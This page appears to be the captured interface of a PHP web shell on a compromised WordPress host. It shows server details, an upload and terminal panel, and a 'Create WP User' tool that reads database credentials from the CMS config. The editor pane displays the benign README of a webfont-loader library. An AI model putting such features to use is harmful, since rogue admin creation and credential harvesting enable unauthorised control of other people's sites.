Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.216.193
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
www
/
wordpress
/
wpn_InfrOps
/
wp-content
/
themes
/
neve
/
vendor
/
wptt
/
webfont-loader
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
LICENSE
1.04 KB
-rw-r--r--
2021-05-03 21:18
README.md
3.38 KB
-rw-r--r--
2021-05-03 21:18
wptt-webfont-loader.php
16.09 KB
-rw-r--r--
2021-05-03 21:18
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
README.md
# Webfonts Loader Downloads webfonts (like for example Google-Fonts), and hosts them locally on a WordPress site. This improves performance (fewer requests to multiple top-level domains) and increases privacy. Since fonts get hosted locally on the site, there are no pings to a 3rd-party server to get the webfonts and therefore no tracking. ## Usage A WordPress theme will typically enqueue assets using the [`wp_enqueue_style`](https://developer.wordpress.org/reference/functions/wp_enqueue_style/) function: ```php function my_theme_enqueue_assets() { // Load the theme stylesheet. wp_enqueue_style( 'my-theme', get_stylesheet_directory_uri() . '/style.css', array(), '1.0' ); // Load the webfont. wp_enqueue_style( 'literata', 'https://fonts.googleapis.com/css2?family=Literata&display=swap', array(), '1.0' ); } add_action( 'wp_enqueue_scripts', 'my_theme_enqueue_assets' ); ``` To locally host the webfonts, you will first need to download the [`wptt-webfont-loader.php`](https://raw.githubusercontent.com/WPTT/font-loader/master/wptt-webfont-loader.php) file from this repository and copy it in your theme. Once you do that, the above code can be converted to this: ```php function my_theme_enqueue_assets() { // Include the file. require_once get_theme_file_path( 'inc/wptt-webfont-loader.php' ); // Load the theme stylesheet. wp_enqueue_style( 'my-theme', get_stylesheet_directory_uri() . '/style.css', array(), '1.0' ); // Load the webfont. wp_enqueue_style( 'literata', wptt_get_webfont_url( 'https://fonts.googleapis.com/css2?family=Literata&display=swap' ); array(), '1.0' ); } add_action( 'wp_enqueue_scripts', 'my_theme_enqueue_assets' ); ``` ## Available functions ### `wptt_get_webfont_styles` ``` $remote_url = 'https://fonts.googleapis.com/css2?family=Literata&display=swap'; $contents = wptt_get_webfont_styles( $remote_url ); ``` Returns the stylesheet contents, using locally hosted webfonts. ### `wptt_get_webfont_url` ``` $remote_url = 'https://fonts.googleapis.com/css2?family=Literata&display=swap'; $contents = wptt_get_webfont_url( $remote_url ); ``` Returns a stylesheet URL, locally-hosted. ## Supporting IE The `wptt_get_webfont_url` will - by default - download `.woff2` files. However, if you need to support IE you will need to use `.woff` files instead. To do that, you can pass `woff` as the 2nd argument in the `wptt_get_webfont_url` function: ```php wptt_get_webfont_url( 'https://fonts.googleapis.com/css2?family=Literata&display=swap', 'woff' ); ``` ## Storing In A Custom Directory If you have the need to store font files in a custom directory you can pass a custom path and URL using filters. Be sure you add these filters **BEFORE** the file containing the `WPTT_WebFont_Loader` class is called. ```php /** * Change the base path. * This is by default WP_CONTENT_DIR. * * NOTE: Do not include trailing slash. */ add_filter( 'wptt_get_local_fonts_base_path', function( $path ) { return WP_CONTENT_DIR; } ); /** * Change the base URL. * This is by default the content_url(). * * NOTE: Do not include trailing slash. */ add_filter( 'wptt_get_local_fonts_base_url', function( $url ) { return content_url(); } ); /** * Change the subfolder name. * This is by default "fonts". * * Return empty string or false to not use a subfolder. */ add_filter( 'wptt_get_local_fonts_subfolder_name', function( $subfolder_name ) { return 'fonts'; } ); ```
关闭
保存